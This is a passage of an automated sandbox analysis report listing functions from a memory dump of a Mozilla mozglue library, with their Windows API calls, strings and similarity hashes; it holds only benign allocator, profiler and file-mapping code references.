free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

ntdll.dll, xrefs: 6C4E96E3
MapViewOfFileNuma2, xrefs: 6C4E97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

z, xrefs: 6C54A6AE
0, xrefs: 6C54A5FB

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
